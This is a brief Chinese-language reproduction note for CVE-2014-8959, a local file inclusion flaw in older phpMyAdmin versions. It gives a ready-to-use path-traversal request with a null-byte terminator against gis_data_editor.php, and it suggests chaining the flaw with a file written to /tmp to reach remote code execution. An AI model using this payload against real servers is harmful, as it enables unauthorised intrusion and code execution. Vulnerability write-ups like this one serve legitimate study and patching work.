（CVE-2014 -8959）Phpmyadmin 本地文件包含漏洞
=============================================
一、漏洞简介
------------
二、漏洞影响
------------
phpMyAdmin 4 .0.1\--4 .2.12PHP version \< 5.3.4
三、复现过程
------------
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=
/../../../../phpinfo.txt%00 # 注意改下token值
在实际利用中可以利用写入文件到 /tmp 目录下结合此漏洞完成 RCE，php
版本可以通过 http header、
导出表内容到文件的附加内容看到。